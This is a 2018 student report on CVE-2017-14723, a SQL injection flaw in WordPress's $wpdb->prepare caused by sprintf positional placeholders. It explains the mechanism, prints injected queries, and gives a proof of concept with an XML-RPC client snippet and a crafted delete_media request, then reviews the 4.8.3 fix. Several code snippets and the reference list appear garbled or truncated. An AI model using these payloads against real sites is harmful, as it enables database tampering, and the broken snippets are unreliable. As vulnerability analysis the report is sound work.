CVE-2017-14723 – WORDPRESS

SQL INJECTION

Report

Martin Jürgel

Tartu 2018
INTRODUCTION

WordPress is a content management system used by nearly a third of all websites. As of April 30th, 2018, WordPress has a content management system market share of 59.9%. [1] It is based on PHP and MySQL. [2] WordPress is free and open-source, and supports more than 50,000 plugins and extensions. [3] As it is open-source, it is largely developed by volunteers in the community surrounding it.

CVE-2017-14723 is a security vulnerability in WordPress versions 4.8.2 and older, in which Wordpress mishandled % characters and additional placeholder values in $wpdb->prepare(), making it possible for the function to create unexpected and unsafe queries. This could lead to some plugins and themes enabling SQL injection attacks. [4,5]

DESCRIPTION OF THE VULNERABILITY

There are multiple instances of questionable coding practices used in this function that could lead to severe vulnerabilities. First, let’s look at this part of the wpdb::prepare code:
What this means, is, if the function was passed a single argument and that argument was an array, $args would be replaced with the elements of the provided array, so calling $wpdb->prepare($sql, [1,2]) would be the same as calling $wpdb->prepare($sql, 1, 2). [6]

Also, passing placeholder values as an array makes it possible to pass additional values to the function. For instance, assuming $input_param1 is $_REQUEST['input'] in the following function call: [7]

$wpdb->prepare($sql, $input_param1, $sanitized_param2, $sanitized_param3); [7]
a user would be able to add their own values for the remaining two parameters. [7]

The SQL injection vulnerability relied on this pattern in server-side code used by many plugins:[6]

```php
$sql = "SELECT * FROM foo WHERE bar IN ($items) AND baz = %s";
$query = $wpdb->prepare($sql, $GET['baz']);
```

The prepare function uses vsprintf to replace and str_replace to properly quote placeholders in SQL queries. Vsprintf is called with the sql query as the format and $args as the array of parameters. Vsprintf operates as sprintf() which allows absolute referencing (%n$... where n is the position specifier): [6]

```php
vsprintf('%s, %d, %s', ['a', 1, "b"]); // "a, 1, b"
vsprintf('%s, %d, %ls$s', ['a', 2, "b"]); // "a, 2, a"
```

Using this, we can manipulate the original query. For example, if we had passed the following information to the request:

```php
$_GET['items'] = ['%1$s'];
$_GET['baz'] = "test";
```

our query would have looked like this: SELECT * FROM foo WHERE bar IN ('test') AND baz = 'test'; [6]

Taking it a step further, sprintf also accepts %c, which can be used to convert decimals into ASCII characters (%c works like the chr() function): [6]
As 39 is the ASCII code for ', the query now looks like this:

```
SELECT * FROM foo WHERE bar IN ('') OR 1 = 1 /* AND baz = 'test';
```

This can be exploited in the delete_metadata function in /wp-includes/meta.php:

```php
if ( $delete_all ) {
    $value_clause = ';
    if ( '' !== $meta_value && null !== $meta_value && false !== $meta_value ) {
        $value_clause = $wpdb->prepare( " AND meta_value = %s", $meta_value );
    }
    $object_ids = $wpdb->get_col( $wpdb->prepare( "SELECT $type_column FROM $table WHERE meta_key = %s $value_clause", $meta_key ) );
}
```

Our input will be stored in $value_clause, however, we still need to be sure that $meta_value already exists in the database. This function (delete_metadata) is called with parameters that are suitable for us in wp_delete_attachment which is called in wp-admin/upload.php. [7]

The only thing preventing this code from being executed is the following snippet:

```php
if ( ! $post = $wpdb->get_row( $wpdb->prepare("SELECT * FROM $wpdb->posts WHERE ID = %d", $post_id) ) )
    return $post;
```

However, since we are dealing with sprintf, we can bypass it:

```
attachment_post_id %1$s% your sql payload
```

**PROOF OF CONCEPT**

This example demonstrates the exploit on WordPress versions 4.7.4 and older. Steps required to perform the exploit:

1) Log into your WordPress as author;
2) upload an image;
3) remember the ID of the uploaded image;
4) create a post and set the image as featured image;
5) remember the post ID. [11]
Next, we need to change the value of _thumbnail_id. In the case of WordPress versions 4.7.4 and older, we can use the XML-RPC functionality and take advantage of another vulnerability in WordPress: [11]

Lack of capability checks for post meta data in the XML-RPC API.[11]

By replacing 6 with the post ID and 5 with the image ID we got earlier in the following code:

```php
$usr = 'author';
$pwd = 'author';
$xmlrpc = 'http://local.target/xmlrpc.php';
$client = new IXR_Client($xmlrpc);
$content = array("ID" => 6, 'meta_input' => array("_thumbnail_id"=>'5 %s hello'));
$res = $client->query('wp.editPost',0, $usr, $pwd, &*/post_id*/, $content);
```

we add the following payload: 5 %$s hello[11]

For newer versions of WordPress, the importer plugin can be used. Next, log into the administrator panel as author, go to media, retrieve the _wnonce value. Then, issue the following request towards your local instance: [11]

```
https://local.target/wp-admin/upload.php?
_wpnonce=dab7cfab&action=delete_media&5B%5E=5%20%251%24%25s%20hello
```

This will result in an error and the following query against the DB:

```
SELECT post_id FROM wp_postmeta WHERE meta_key = '_thumbnail_id' AND meta_value = '5 _thumbnail_id' hello'
```

**FIX**

The original SQL injection vulnerability „fix“:

```php
$query = preg_replace( '/%([^%]|%)(\d+)/', '%%\1', $query ); // escape any unescaped percents
```

The original fix to the SQL injection vulnerability was released by WordPress on September 19th, 2017 and it attempted to solve the problem by removing any sprintf tokens other than %d, %s and %f and removing the ability to do positional substitutions. This solution not only failed
to address a core security issue but also broke an estimated 1.2 million lines of code and caused outrage among WordPress users in the process. [6,8,9]

This fix does not properly address the vulnerability as user input is still passed to the query side of prepare. Anthony Ferrara - the author of the post [6] exposing these flaws in WordPress - proposes not passing user input to the $query parameter to wpdb::prepare() in meta.php as a simple fix. As the „correct“ fix, he suggests ditching the entire prepare mechanism which returns SQL queries as strings, and returning a statement/query object or executing queries directly to avoid double-preparing a string. [6]

WordPress releases version 4.8.3 on October 31st. In this version, support for numbered placeholders was restored and extra checks were added to ensure the correct number of arguments are passed to wpdb::prepare() relative to the number of placeholders and all % placeholders are replaced with random strings.

```php
$query = str_replace('%%', '{this->placeholder_escape}', $query);
```

User input is still passed to the query side of prepare, but the specific attack vectors Ferrara provided in his article are mitigated. [6,9]

CVE-2017-14723 was a dangerous vulnerability as it could potentially lead to SQL injection attacks and expose affected sites to takeover. It was successfully patched in WordPress version 4.8.3 but was around for months even after the problem was brought to WordPress’ attention.
REFERENCES

1. https://w3techs.com/technologies/overview/content_management/all
2. https://wordpress.org/about/
3. https://wordpress.org/plugins/
10. https://core.trac.wordpress.org/changeset/42056